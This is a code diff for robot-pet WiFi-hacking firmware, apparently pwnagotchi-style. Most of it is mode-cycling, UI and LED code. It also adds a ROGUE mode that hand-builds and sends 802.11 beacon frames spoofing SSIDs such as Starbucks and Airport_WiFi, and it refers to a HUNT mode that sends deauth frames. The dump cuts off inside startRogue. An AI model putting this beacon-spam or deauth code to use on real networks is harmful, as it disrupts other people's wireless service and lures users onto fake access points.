_pressStartTime = GetHAL().millis(); + if (_pressStartTime == 0) { + // Pause motion when screen is touched + if (GetStackChan().hasMotion()) { + GetStackChan().motion().setTorqueEnabled(false); } - // Require 500ms hold in top area - if (GetHAL().millis() - _pressStartTime > 500 && - GetHAL().millis() - _lastModeChange > 1000) { + _pressStartTime = GetHAL().millis(); + _pressX = point.x; + _pressY = point.y; + } + + // Check for long press at top of screen to enter CONFIG mode + if (point.y < 50) { + // Require 1 second hold in top area to enter CONFIG + if (GetHAL().millis() - _pressStartTime > 1000 && + GetHAL().millis() - _lastModeChange > 2000) { + + // Enter CONFIG mode + _currentMode = gotchi::Mode::CONFIG; + gotchi::setMode(_currentMode); _lastModeChange = GetHAL().millis(); - cycleMode(); + _pressStartTime = 0; + + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("CONFIG"); + } } - } else { - _pressStartTime = 0; } } else { + // Touch released - check if it was a tap + if (_pressStartTime > 0 && GetHAL().millis() - _pressStartTime < 300) { + // Left side tap = cycle forward + if (_pressX < 160) { + if (GetHAL().millis() - _lastModeChange > 500) { + _lastModeChange = GetHAL().millis(); + cycleMode(); + } + } + // Right side tap = cycle backward + else { + if (GetHAL().millis() - _lastModeChange > 500) { + _lastModeChange = GetHAL().millis(); + cycleModeBackward(); + } + } + } + // Resume motion when screen is released + if (GetStackChan().hasMotion()) { + GetStackChan().motion().setTorqueEnabled(true); + } _pressStartTime = 0; } } void AppGotchi::cycleMode() { switch (_currentMode) { - case gotchi::Mode::IDLE: - _currentMode = gotchi::Mode::SNIFF; - break; - case gotchi::Mode::SNIFF: - _currentMode = gotchi::Mode::SCOUT; - break; case gotchi::Mode::SCOUT: + _currentMode = gotchi::Mode::HUNT; + break; + case gotchi::Mode::HUNT: _currentMode = gotchi::Mode::WARDIVE; break; case gotchi::Mode::WARDIVE: _currentMode = gotchi::Mode::SPECTRUM; break; case gotchi::Mode::SPECTRUM: - _currentMode = gotchi::Mode::BLE_SNIFF; + _currentMode = gotchi::Mode::BLE_SCAN; + break; + case gotchi::Mode::BLE_SCAN: + _currentMode = gotchi::Mode::ROGUE; + break; + case gotchi::Mode::ROGUE: + _currentMode = gotchi::Mode::STATS; break; - case gotchi::Mode::BLE_SNIFF: + case gotchi::Mode::STATS: _currentMode = gotchi::Mode::IDLE; break; + case gotchi::Mode::IDLE: + _currentMode = gotchi::Mode::SCOUT; + break; + case gotchi::Mode::CONFIG: + _currentMode = gotchi::Mode::SCOUT; + break; } gotchi::setMode(_currentMode); // Show mode in speech bubble const char* modeName = gotchi::getModeName(_currentMode); + bool showedSpecialMessage = false; + + // Show "OK" disclaimer when first entering HUNT mode + if (_currentMode == gotchi::Mode::HUNT && gotchi::shouldShowHuntDisclaimer()) { + gotchi::acknowledgeHuntDisclaimer(); + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("HUNT Mode!\nSends deauth frames.\nOK to proceed?"); + GetStackChan().addModifier(std::make_unique(4000, 180, true)); + } + showedSpecialMessage = true; + } + + // Show educational warning for ROGUE mode (only if not already showing HUNT disclaimer) + if (!showedSpecialMessage && _currentMode == gotchi::Mode::ROGUE) { + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("EDUCATIONAL!\nOwn networks only!"); + GetStackChan().addModifier(std::make_unique(3000, 180, true)); + } + showedSpecialMessage = true; + } // Play different tone for each mode (bypasses xiaozhi AudioService to avoid WiFi conflict) uint16_t tone_freq = 600; switch (_currentMode) { - case gotchi::Mode::SNIFF: tone_freq = 600; break; // Low beep + case gotchi::Mode::HUNT: tone_freq = 600; break; // Low beep case gotchi::Mode::SCOUT: tone_freq = 800; break; // Mid beep case gotchi::Mode::WARDIVE: tone_freq = 1000; break; // Higher beep case gotchi::Mode::SPECTRUM: tone_freq = 1200; break; // Highest beep + + case gotchi::Mode::ROGUE: tone_freq = 350; break; // Warning lower tone default: tone_freq = 400; break; // IDLE - very low } hal_bridge::app_play_tone(tone_freq, 100); - if (GetStackChan().hasAvatar()) { + // Only show mode name if no special message was shown + if (!showedSpecialMessage && GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech(modeName); + GetStackChan().addModifier(std::make_unique(1500, 180, true)); + } +} + +void AppGotchi::cycleModeBackward() { + switch (_currentMode) { + case gotchi::Mode::HUNT: + _currentMode = gotchi::Mode::SCOUT; + break; + case gotchi::Mode::SCOUT: + _currentMode = gotchi::Mode::IDLE; + break; + case gotchi::Mode::IDLE: + _currentMode = gotchi::Mode::STATS; + break; + case gotchi::Mode::STATS: + _currentMode = gotchi::Mode::ROGUE; + break; + case gotchi::Mode::ROGUE: + _currentMode = gotchi::Mode::BLE_SCAN; + break; + case gotchi::Mode::BLE_SCAN: + _currentMode = gotchi::Mode::SPECTRUM; + break; + case gotchi::Mode::SPECTRUM: + _currentMode = gotchi::Mode::WARDIVE; + break; + case gotchi::Mode::WARDIVE: + _currentMode = gotchi::Mode::HUNT; + break; + default: + _currentMode = gotchi::Mode::SCOUT; + break; + } + + gotchi::setMode(_currentMode); + + const char* modeName = gotchi::getModeName(_currentMode); + bool showedSpecialMessage = false; + + // Show "OK" disclaimer when first entering HUNT mode (from backward too) + if (_currentMode == gotchi::Mode::HUNT && gotchi::shouldShowHuntDisclaimer()) { + gotchi::acknowledgeHuntDisclaimer(); + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("HUNT Mode!\nSends deauth frames.\nOK to proceed?"); + GetStackChan().addModifier(std::make_unique(4000, 180, true)); + } + showedSpecialMessage = true; + } + + // Show educational warning for ROGUE mode (from backward too) + if (!showedSpecialMessage && _currentMode == gotchi::Mode::ROGUE) { + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("EDUCATIONAL!\nOwn networks only!"); + GetStackChan().addModifier(std::make_unique(3000, 180, true)); + } + showedSpecialMessage = true; + } + + uint16_t tone_freq = 600; + switch (_currentMode) { + case gotchi::Mode::HUNT: tone_freq = 600; break; + case gotchi::Mode::SCOUT: tone_freq = 800; break; + case gotchi::Mode::WARDIVE: tone_freq = 1000; break; + case gotchi::Mode::SPECTRUM: tone_freq = 1200; break; + case gotchi::Mode::ROGUE: tone_freq = 350; break; + default: tone_freq = 400; break; + } + hal_bridge::app_play_tone(tone_freq, 100); + + if (!showedSpecialMessage && GetStackChan().hasAvatar()) { GetStackChan().avatar().setSpeech(modeName); GetStackChan().addModifier(std::make_unique(1500, 180, true)); } @@ -241,7 +422,7 @@ void AppGotchi::updateAvatar() { avatar::Emotion baseEmotion = avatar::Emotion::Neutral; switch (_currentMode) { - case gotchi::Mode::SNIFF: + case gotchi::Mode::HUNT: baseEmotion = avatar::Emotion::Doubt; // Scanning/alert break; case gotchi::Mode::SCOUT: @@ -253,12 +434,21 @@ void AppGotchi::updateAvatar() { case gotchi::Mode::SPECTRUM: baseEmotion = avatar::Emotion::Doubt; // Analyzing break; - case gotchi::Mode::BLE_SNIFF: + case gotchi::Mode::BLE_SCAN: baseEmotion = avatar::Emotion::Doubt; // BLE scanning break; + case gotchi::Mode::ROGUE: + baseEmotion = avatar::Emotion::Angry; // Active attack - warning + break; + case gotchi::Mode::STATS: + baseEmotion = avatar::Emotion::Happy; // Viewing stats + break; case gotchi::Mode::IDLE: baseEmotion = avatar::Emotion::Neutral; break; + case gotchi::Mode::CONFIG: + baseEmotion = avatar::Emotion::Neutral; // Config mode - neutral + break; } // Mood override @@ -290,7 +480,7 @@ void AppGotchi::updateHeadAnimation() { auto& motion = GetStackChan().motion(); static const uint32_t IDLE_INTERVAL = 3000; - static const uint32_t SNIFF_INTERVAL = 800; + static const uint32_t HUNT_INTERVAL = 800; static const uint32_t SCOUT_INTERVAL = 1500; uint32_t interval = IDLE_INTERVAL; @@ -298,8 +488,8 @@ void AppGotchi::updateHeadAnimation() { int16_t basePitch = 200; switch (_currentMode) { - case gotchi::Mode::SNIFF: - interval = SNIFF_INTERVAL; + case gotchi::Mode::HUNT: + interval = HUNT_INTERVAL; break; case gotchi::Mode::SCOUT: interval = SCOUT_INTERVAL; @@ -313,9 +503,16 @@ void AppGotchi::updateHeadAnimation() { interval = 1000; baseYaw = (int16_t)((now / interval) % 6 - 3) * 150; break; - case gotchi::Mode::BLE_SNIFF: + case gotchi::Mode::BLE_SCAN: interval = 600; break; + case gotchi::Mode::ROGUE: + interval = 500; + baseYaw = (int16_t)((now / 250 % 4) - 2) * 120; + break; + case gotchi::Mode::STATS: + interval = 2000; // Slow movement while viewing stats + break; default: break; } @@ -326,12 +523,12 @@ void AppGotchi::updateHeadAnimation() { _lastHeadAnim = now; targetChanged = true; - if (_currentMode == gotchi::Mode::IDLE) { + if (_currentMode == gotchi::Mode::IDLE || _currentMode == gotchi::Mode::STATS) { static bool idleDir = false; _headYawOffset = idleDir ? 150 : -150; idleDir = !idleDir; _headPitchOffset = (now / 4000 % 2) ? 30 : -30; - } else if (_currentMode == gotchi::Mode::SNIFF) { + } else if (_currentMode == gotchi::Mode::HUNT) { auto networks = gotchi::getNetworks(); int netCount = networks.size(); @@ -348,13 +545,17 @@ void AppGotchi::updateHeadAnimation() { } else if (_currentMode == gotchi::Mode::SCOUT) { _headYawOffset = (int16_t)((now / 500 % 4) - 2) * 100; _headPitchOffset = (int16_t)((now / 800 % 3) - 1) * 30; - } else if (_currentMode == gotchi::Mode::BLE_SNIFF) { + } else if (_currentMode == gotchi::Mode::BLE_SCAN) { auto devices = gotchi::getBLEDevices(); int devCount = devices.size(); int yawRange = (devCount >= 10) ? 180 : (devCount >= 5) ? 150 : 100; _headYawOffset = (int16_t)(sin(now / 600.0) * yawRange); _headPitchOffset = (now / 1200 % 2) ? 20 : -20; + } else if (_currentMode == gotchi::Mode::ROGUE) { + // Fast sweeping head during beacon spam + _headYawOffset = (int16_t)((now / 200 % 8) - 4) * 80; + _headPitchOffset = (now / 400 % 2) ? 15 : -15; } } @@ -416,7 +617,7 @@ void AppGotchi::updateNeonLights() { } break; - case gotchi::Mode::SNIFF: + case gotchi::Mode::HUNT: // Dynamic colors based on network count if (netCount >= 10) { // EXCITED - lots of networks! @@ -481,7 +682,7 @@ void AppGotchi::updateNeonLights() { break; } - case gotchi::Mode::BLE_SNIFF: { + case gotchi::Mode::BLE_SCAN: { // Blue/Magenta pulse - BLE scanning if (blinkOn) { leftLight.setColor(0x00, 0x88, 0xFF); @@ -493,6 +694,43 @@ void AppGotchi::updateNeonLights() { break; } + case gotchi::Mode::STATS: { + // Purple/White pulse - viewing stats + if (blinkOn) { + leftLight.setColor(0xAA, 0x00, 0xFF); + rightLight.setColor(0xFF, 0xFF, 0xFF); + } else { + leftLight.setColor(0x55, 0x00, 0x88); + rightLight.setColor(0x88, 0x88, 0x88); + } + break; + } + + case gotchi::Mode::ROGUE: { + // Yellow/Orange fast pulse - beacon spam active + uint8_t flashPhase = (now / 80) % 4; + if (flashPhase < 2) { + leftLight.setColor(0xFF, 0xAA, 0x00); + rightLight.setColor(0xFF, 0x88, 0x00); + } else { + leftLight.setColor(0xAA, 0x55, 0x00); + rightLight.setColor(0xAA, 0x44, 0x00); + } + break; + } + + case gotchi::Mode::CONFIG: { + // White/Cyan slow pulse - config mode + if (blinkOn) { + leftLight.setColor(0xAA, 0xFF, 0xFF); + rightLight.setColor(0xFF, 0xFF, 0xFF); + } else { + leftLight.setColor(0x55, 0xAA, 0xAA); + rightLight.setColor(0x88, 0x88, 0x88); + } + break; + } + default: leftLight.setColor(0x00, 0xFF, 0x88); rightLight.setColor(0x00, 0xFF, 0x88); @@ -605,23 +843,120 @@ void AppGotchi::renderUI() { 2.4 + (stats.currentChannel - 1) * 0.016, stats.currentChannel, (int)stats.level, progress); } + } + // ROGUE mode - show educational warning + else if (_currentMode == gotchi::Mode::ROGUE) { + _statsLabel->setBgColor(lv_color_hex(0x332200)); // Dark orange background + _statsLabel->setTextColor(lv_color_hex(0xFFCC88)); // Light orange text + + snprintf(statsText, sizeof(statsText), + "ROGUE MODE!\n" + "Educational Only!\n" + "Use on OWN networks only!"); + _statsLabel->setText(statsText); + + // Show warning in network list area + _networkListLabel->setBgColor(lv_color_hex(0x221100)); + _networkListLabel->setTextColor(lv_color_hex(0xFFAA66)); + _networkListLabel->setText("Broadcasting fake APs...\n" + "Creates rogue access points.\n" + "FOR EDUCATIONAL USE ONLY!\n" + "Demonstrates rogue AP attacks."); + + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech("ROGUE!\nFake APs!\nEducational only!"); + } + } + // CONFIG mode - show config UI + else if (_currentMode == gotchi::Mode::CONFIG) { + _statsLabel->setBgColor(lv_color_hex(0x003333)); // Dark cyan background + _statsLabel->setTextColor(lv_color_hex(0x88FFFF)); // Light cyan text + + snprintf(statsText, sizeof(statsText), + "CONFIG MODE\n" + "Tap to exit\n" + "WiFi: %s", + gotchi::isConfigMode() ? "Active" : "Inactive"); + _statsLabel->setText(statsText); + + // Show config instructions in network list area + _networkListLabel->setSize(300, 50); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x002222)); + _networkListLabel->setTextColor(lv_color_hex(0x88AAAA)); + _networkListLabel->setText("CONFIG MODE\n" + "AP: StackChan-Config\n" + "Join then visit http://192.168.4.1\n" + "Or edit /sd/config.json on SD card\n" + "\n" + "Tap anywhere to exit"); + } + // STATS mode check BEFORE network check (priority display) + else if (_currentMode == gotchi::Mode::STATS) { + const char* prestigeStr = stats.prestige > 0 ? "+P" : ""; + const char* dtStr = gotchi::isDeepThoughtUnlocked() ? "*" : ""; + + // Full stats display - top section shows key stats + _statsLabel->setSize(320, 70); + _statsLabel->align(LV_ALIGN_TOP_MID, 0, 5); + _statsLabel->setBgColor(lv_color_hex(0x330033)); // Purple background + _statsLabel->setTextColor(lv_color_hex(0xFF88FF)); // Light purple text + + // Reset network list label for STATS mode + _networkListLabel->setSize(320, 185); + _networkListLabel->align(LV_ALIGN_BOTTOM_MID, 0, -5); + _networkListLabel->setBgColor(lv_color_hex(0x220033)); // Dark purple + _networkListLabel->setTextColor(lv_color_hex(0xFF88FF)); + + snprintf(statsText, sizeof(statsText), + "Lv:%d%s%s XP:%d\n" // Line 1: Level, prestige, XP + "Ach:%u/17 Uptime:%02uh%02um", // Line 2: Achievements, uptime + (int)stats.level, prestigeStr, dtStr, + (int)stats.xp, + (unsigned)stats.achievementCount, + (unsigned)(stats.uptimeSeconds / 3600), + (unsigned)((stats.uptimeSeconds % 3600) / 60)); + + // Hide avatar speech in STATS mode + if (GetStackChan().hasAvatar()) { + GetStackChan().avatar().setSpeech(""); + } } else if (networks.size() > 0) { + // 3-line format: Line1=Network, Line2=Level/XP, Line3=Other int progress = gotchi::getXPProgress(stats.xp, stats.level); - snprintf(statsText, sizeof(statsText), "Nets:%d|Lv:%d %d%%|CH%d|%s%d HS|%s|%s", - (int)networks.size(), - (int)stats.level, progress, - stats.currentChannel, hsIcon, hsCount, - bestSsid, gpsDisplay); + snprintf(statsText, sizeof(statsText), + "Nets:%d Ch%d %s\n" // Line 1: Networks, channel, best SSID + "Lv:%d XP:%d %d%%\n" // Line 2: Level, XP, progress + "HS:%d GPS:%s", // Line 3: Handshakes, GPS + (int)networks.size(), + stats.currentChannel, bestSsid, + (int)stats.level, (int)stats.xp, progress, + hsCount, gpsDisplay); } else { + // Reset label positions and colors for other modes (no networks found) + _statsLabel->setSize(300, 75); + _statsLabel->align(LV_ALIGN_TOP_LEFT, 5, 5); + _statsLabel->setBgColor(lv_color_hex(0x003320)); // Reset to green + _statsLabel->setTextColor(lv_color_hex(0x00FF88)); // Reset text color + _networkListLabel->setSize(300, 50); + _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); + _networkListLabel->setBgColor(lv_color_hex(0x001a00)); // Reset network list bg + _networkListLabel->setTextColor(lv_color_hex(0x88FF88)); // Reset network list text + + // 3-line format for no networks state int progress = gotchi::getXPProgress(stats.xp, stats.level); - snprintf(statsText, sizeof(statsText), "Nets:0|Scanning...|Lv:%d %d%%|CH%d|%s%d HS|%s", - (int)stats.level, progress, - stats.currentChannel, hsIcon, hsCount, gpsDisplay); + snprintf(statsText, sizeof(statsText), + "Nets:0 Ch%d Scanning\n" // Line 1 + "Lv:%d XP:%d %d%%\n" // Line 2 + "HS:%d GPS:%s", // Line 3 + stats.currentChannel, + (int)stats.level, (int)stats.xp, progress, + hsCount, gpsDisplay); } _statsLabel->setText(statsText); - // Announce new networks found in SNIFF mode - if (_currentMode == gotchi::Mode::SNIFF && networks.size() > _lastNetworkCount) { + // Announce new networks found in HUNT mode + if (_currentMode == gotchi::Mode::HUNT && networks.size() > _lastNetworkCount) { _lastNetworkCount = networks.size(); const char* latestSSID = networks.back().ssid; @@ -640,8 +975,8 @@ void AppGotchi::renderUI() { _neonFlashCount = 3; } - // Announce new BLE devices found in BLE_SNIFF mode - if (_currentMode == gotchi::Mode::BLE_SNIFF) { + // Announce new BLE devices found in BLE_SCAN mode + if (_currentMode == gotchi::Mode::BLE_SCAN) { auto devices = gotchi::getBLEDevices(); if (devices.size() > _lastBLEDeviceCount && devices.size() > 0) { _lastBLEDeviceCount = devices.size(); @@ -725,11 +1060,11 @@ void AppGotchi::renderUI() { } } if (networks.empty()) { - snprintf(scoutText, sizeof(scoutText), "No networks found.\nTry SNIFF mode first."); + snprintf(scoutText, sizeof(scoutText), "No networks found.\nTry HUNT mode first."); } _networkListLabel->setText(scoutText); - } else if (_currentMode == gotchi::Mode::BLE_SNIFF) { - // BLE_SNIFF - show discovered BLE devices + } else if (_currentMode == gotchi::Mode::BLE_SCAN) { + // BLE_SCAN - show discovered BLE devices auto devices = gotchi::getBLEDevices(); char bleText[512] = ""; size_t blePos = 0; @@ -750,6 +1085,62 @@ void AppGotchi::renderUI() { snprintf(bleText, sizeof(bleText), "No BLE devices found.\nScanning for nearby Bluetooth..."); } _networkListLabel->setText(bleText); + } else if (_currentMode == gotchi::Mode::STATS) { + // STATS mode - full detailed stats page (check BEFORE networks) + _networkListLabel->setSize(320, 185); + _networkListLabel->align(LV_ALIGN_BOTTOM_MID, 0, -5); + _networkListLabel->setBgColor(lv_color_hex(0x220033)); // Dark purple + _networkListLabel->setTextColor(lv_color_hex(0xFF88FF)); + + // Build comprehensive stats display + char statsDetails[500]; + + // Get achievement bitmask to show which are unlocked + uint32_t achMask = gotchi::getAchievementsBitmask(); + + // Get daily challenge + gotchi::ChallengeInfo dailyChallenge; + bool hasDaily = gotchi::getDailyChallenge(dailyChallenge); + + // Format: Networks, Handshakes, Prestige + // Achievement list (abbreviated: N=Network, K=Key, T=Time, M=Mode) + snprintf(statsDetails, sizeof(statsDetails), + "--- STATS ---\n" + "Nets:%u HS:%u P:%u\n" + "--- DAILY ---\n" + "%s\n" + "+%dXP\n" + "--- ACHIEVEMENTS ---\n" + "N:%c%c%c%c%c K:%c%c%c%c T:%c%c%c M:%c%c%c%c B:%c%c", + (unsigned)stats.networksFound, + (unsigned)stats.handshakesCaptured, + (unsigned)stats.prestige, + hasDaily ? dailyChallenge.name : "None", + (int)dailyChallenge.xpReward, + // Network achievements (0-4) + (achMask & (1<<0)) ? '1' : '.', + (achMask & (1<<1)) ? '1' : '.', + (achMask & (1<<2)) ? '2' : '.', + (achMask & (1<<3)) ? '5' : '.', + (achMask & (1<<4)) ? 'X' : '.', + // Key/Handshake achievements (5-8) + (achMask & (1<<5)) ? '1' : '.', + (achMask & (1<<6)) ? '5' : '.', + (achMask & (1<<7)) ? 'X' : '.', + (achMask & (1<<8)) ? 'X' : '.', + // Time achievements (9-11) + (achMask & (1<<9)) ? '1' : '.', + (achMask & (1<<10)) ? '2' : '.', + (achMask & (1<<11)) ? '7' : '.', + // Mode achievements (12-15) + (achMask & (1<<12)) ? 'S' : '.', + (achMask & (1<<13)) ? 'C' : '.', + (achMask & (1<<14)) ? 'W' : '.', + (achMask & (1<<15)) ? 'B' : '.', + // Special achievements (16-17) + (achMask & (1<<16)) ? 'H' : '.', + (achMask & (1<<17)) ? 'B' : '.'); + _networkListLabel->setText(statsDetails); } else if (networks.size() > 0) { char networkList[256] = ""; size_t listPos = 0; @@ -769,10 +1160,10 @@ void AppGotchi::renderUI() { _networkListLabel->setText("[W] Scanning for networks..."); } - // Idle dialogue - random quirky phrases in all active modes - if (_currentMode == gotchi::Mode::SNIFF || _currentMode == gotchi::Mode::SCOUT || + // Idle dialogue - random quirky phrases in all active modes (except ROGUE) + if (_currentMode == gotchi::Mode::HUNT || _currentMode == gotchi::Mode::SCOUT || _currentMode == gotchi::Mode::WARDIVE || _currentMode == gotchi::Mode::SPECTRUM || - _currentMode == gotchi::Mode::BLE_SNIFF) { + _currentMode == gotchi::Mode::BLE_SCAN) { uint32_t now = GetHAL().millis(); if (now - _lastIdleSpeak > 5000 && _idleDialogue.shouldSpeak(now)) { _lastIdleSpeak = now; @@ -785,10 +1176,10 @@ void AppGotchi::renderUI() { } // Update last count when leaving sniff mode - if (_currentMode != gotchi::Mode::SNIFF) { + if (_currentMode != gotchi::Mode::HUNT) { _lastNetworkCount = 0; } - if (_currentMode != gotchi::Mode::BLE_SNIFF) { + if (_currentMode != gotchi::Mode::BLE_SCAN) { _lastBLEDeviceCount = 0; } diff --git a/firmware/main/apps/app_gotchi/app_gotchi.h b/firmware/main/apps/app_gotchi/app_gotchi.h index 842e32b..f9737c5 100644 --- a/firmware/main/apps/app_gotchi/app_gotchi.h +++ b/firmware/main/apps/app_gotchi/app_gotchi.h @@ -29,6 +29,7 @@ class AppGotchi : public mooncake::AppAbility { void updateHeadAnimation(); void updateNeonLights(); void cycleMode(); + void cycleModeBackward(); void renderUI(); std::mutex _mutex; @@ -37,6 +38,8 @@ class AppGotchi : public mooncake::AppAbility { uint32_t _lastHeadAnim = 0; uint32_t _lastModeChange = 0; uint32_t _pressStartTime = 0; + int _pressX = 0; + int _pressY = 0; gotchi::Mode _currentMode = gotchi::Mode::IDLE; gotchi::Mode _lastLoggedMode = gotchi::Mode::IDLE; diff --git a/firmware/main/gotchi/gotchi.cpp b/firmware/main/gotchi/gotchi.cpp index 605f6ea..99729ca 100644 --- a/firmware/main/gotchi/gotchi.cpp +++ b/firmware/main/gotchi/gotchi.cpp @@ -6,6 +6,8 @@ #include "storage.h" #include "gps.h" #include +#include +#include #include #include #include @@ -18,6 +20,7 @@ #include #include #include +#include static const char* TAG = "gotchi"; @@ -30,6 +33,8 @@ static int32_t _level = 1; static bool _initialized = false; static bool _sniffing = false; static bool _wifiInitialized = false; +static bool _beaconSpamming = false; +static bool _configModeActive = false; static uint32_t _startTime = 0; static uint32_t _networksFound = 0; @@ -382,11 +387,14 @@ static const int XP_PER_LEVEL[] = { const char* getModeName(Mode mode) { switch (mode) { case Mode::IDLE: return "IDLE"; - case Mode::SNIFF: return "SNIFF"; case Mode::SCOUT: return "SCOUT"; + case Mode::HUNT: return "HUNT"; case Mode::WARDIVE: return "WARDIVE"; case Mode::SPECTRUM: return "SPECTRUM"; - case Mode::BLE_SNIFF: return "BLE-SNIFF"; + case Mode::BLE_SCAN: return "BLE-SCAN"; + case Mode::ROGUE: return "ROGUE"; + case Mode::STATS: return "STATS"; + case Mode::CONFIG: return "CONFIG"; default: return "UNKNOWN"; } } @@ -593,11 +601,17 @@ void setMode(Mode mode) { if (_bleScanning) { stopBLEScan(); } + if (_beaconSpamming) { + stopRogue(); + } + if (_configModeActive) { + stopConfigMode(); + } // Start appropriate mode switch (mode) { - case Mode::SNIFF: - ESP_LOGI(TAG, "Starting SNIFF mode (promiscuous)"); + case Mode::HUNT: + ESP_LOGI(TAG, "Starting HUNT mode (promiscuous)"); _sessionStartTime = GetHAL().millis(); _sessionStartXP = _xp; startSniff(); @@ -620,12 +634,24 @@ void setMode(Mode mode) { _sessionStartXP = _xp; startSniff(); break; - case Mode::BLE_SNIFF: - ESP_LOGI(TAG, "Starting BLE-SNIFF mode (BLE scan)"); + case Mode::BLE_SCAN: + ESP_LOGI(TAG, "Starting BLE-SCAN mode (BLE scan)"); _sessionStartTime = GetHAL().millis(); _sessionStartXP = _xp; startBLEScan(); break; + case Mode::ROGUE: + ESP_LOGI(TAG, "Starting ROGUE mode (beacon spam)"); + _sessionStartTime = GetHAL().millis(); + _sessionStartXP = _xp; + startRogue(); + break; + case Mode::CONFIG: + ESP_LOGI(TAG, "Starting CONFIG mode (web server)"); + _sessionStartTime = GetHAL().millis(); + _sessionStartXP = _xp; + startConfigMode(); + break; case Mode::IDLE: ESP_LOGI(TAG, "IDLE mode"); break; @@ -634,7 +660,7 @@ void setMode(Mode mode) { } switch (mode) { - case Mode::SNIFF: + case Mode::HUNT: _currentMood = Mood::FOCUSED; break; case Mode::SCOUT: @@ -646,9 +672,15 @@ void setMode(Mode mode) { case Mode::SPECTRUM: _currentMood = Mood::FOCUSED; break; - case Mode::BLE_SNIFF: + case Mode::BLE_SCAN: _currentMood = Mood::FOCUSED; break; + case Mode::ROGUE: + _currentMood = Mood::EXCITED; + break; + case Mode::CONFIG: + _currentMood = Mood::HAPPY; + break; default: _currentMood = Mood::HAPPY; break; @@ -1001,4 +1033,679 @@ void stopBLEScan() { ESP_LOGI(TAG, "BLE scan stopped, found %d devices", (int)_bleDevices.size()); } +static TaskHandle_t _beaconTaskHandle = nullptr; +static TaskHandle_t _configTaskHandle = nullptr; +static httpd_handle_t _httpServer = nullptr; +static esp_netif_t* _ap_netif_handle = nullptr; // Shared AP netif handle for CONFIG/ROGUE modes + +static const char* ROGUE_SSIDS[] = { + "Free_WiFi", "Airport_WiFi", "Hotel_WiFi", "Coffee_Shop", "Starbucks", + "McDonalds", "Library_WiFi", "School_Network", "Office_Guest", "Conference", + "Neighbor_WiFi", "Linksys", "NETGEAR", "TP-Link", "Default", + "XFINITY", "ATT_WiFi", "Verizon_WiFi", "Cafe_Free", "Public_WiFi" +}; + +static void sendBeaconFrame(const char* ssid, const uint8_t* bssid, uint8_t channel) { + uint8_t beacon[128]; + memset(beacon, 0, sizeof(beacon)); + + beacon[0] = 0x80; + beacon[1] = 0x00; + beacon[2] = 0x00; + beacon[3] = 0x00; + memset(&beacon[4], 0xFF, 6); + memcpy(&beacon[10], bssid, 6); + memcpy(&beacon[16], bssid, 6); + beacon[18] = 0x00; + beacon[19] = 0x00; + + uint64_t timestamp = GetHAL().millis() * 1000; + for (int i = 0; i < 8; i++) { + beacon[20 + i] = (timestamp >> (i * 8)) & 0xFF; + } + beacon[28] = 0x64; + beacon[29] = 0x00; + beacon[30] = 0x01; + beacon[31] = 0x01; + + int pos = 32; + beacon[pos++] = 0x00; + beacon[pos++] = strlen(ssid); + memcpy(&beacon[pos], ssid, strlen(ssid)); + pos += strlen(ssid); + + beacon[pos++] = 0x01; + beacon[pos++] = 4; + beacon[pos++] = 0x82; + beacon[pos++] = 0x84; + beacon[pos++] = 0x8B; + beacon[pos++] = 0x96; + + beacon[pos++] = 0x03; + beacon[pos++] = 1; + beacon[pos++] = channel; + + esp_wifi_80211_tx(WIFI_IF_AP, beacon, pos, false); +} + +static void beaconTask(void* param) { + (void)param; + ESP_LOGI(TAG, "Beacon spam task started"); + + uint32_t beaconCount = 0; + uint32_t lastLog = GetHAL().millis(); + + uint8_t bssids[5][6]; + for (int i = 0; i < 5; i++) { + bssids[i][0] = 0x00; + bssids[i][1] = 0x11; + bssids[i][2] = 0x22; + bssids[i][3] = 0x33; + bssids[i][4] = 0x44 + i; + bssids[i][5] = (uint8_t)(esp_random() & 0xFF); + } + + // Fixed channel 6 - no hopping (like PORKCHOP BACON mode) + uint8_t channel = 6; + + while (_beaconSpamming) { + // Send batch of fake AP beacons + for (int i = 0; i < 5 && _beaconSpamming; i++) { + sendBeaconFrame(ROGUE_SSIDS[(beaconCount + i) % 20], bssids[i], channel); + beaconCount++; + vTaskDelay(pdMS_TO_TICKS(100)); // 100ms between beacons (balanced rate) + } + + vTaskDelay(pdMS_TO_TICKS(200)); + + if (GetHAL().millis() - lastLog > 5000) { + ESP_LOGI(TAG, "Beacons sent: %u on CH%d", beaconCount, channel); + lastLog = GetHAL().millis(); + } + } + + ESP_LOGI(TAG, "Beacon spam stopped, sent %u frames", beaconCount); + _beaconSpamming = false; + vTaskDelete(NULL); +} + +void startRogue() { + if (_beaconSpamming) return; + + ESP_LOGI(TAG, "Starting ROGUE mode - beacon spam"); + ESP_LOGW(TAG, "WARNING: Educational use only!"); + + esp_wifi_stop(); + vTaskDelay(pdMS_TO_TICKS(200)); + + // Only init if not already done - handle case where event loop exists + static bool netif_initialized = false; + static bool ap_netif_created = false; + + if (!netif_initialized) { + esp_err_t err = esp_netif_init(); + if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { + ESP_LOGW(TAG, "esp_netif_init failed: %d", err); + } + + err = esp_event_loop_create_default(); + if (err != ESP_OK && err != ESP_ERR_INVALID_STATE) { + ESP_LOGW(TAG, "esp_event_loop_create_default failed: %d", err); + } + + netif_initialized = true; + } + + // Try to get existing AP netif first (handles case from CONFIG mode or previous ROGUE run) + if (!_ap_netif_handle) { + _ap_netif_handle = esp_netif_get_default_netif(); + } + + // If still no handle, try to create one + if (!_ap_netif_handle) { + _ap_netif_handle = esp_netif_create_default_wifi_ap(); + if (_ap_netif_handle) { + ap_netif_created = true; + ESP_LOGI(TAG, "AP netif created"); + } + } else { + ESP_LOGI(TAG, "Using existing AP netif"); + ap_netif_created = true; + } + + // Re-init WiFi to ensure clean state + esp_wifi_deinit(); + vTaskDelay(pdMS_TO_TICKS(100)); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t ret = esp_wifi_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi init failed: %d", ret); + return; + } + 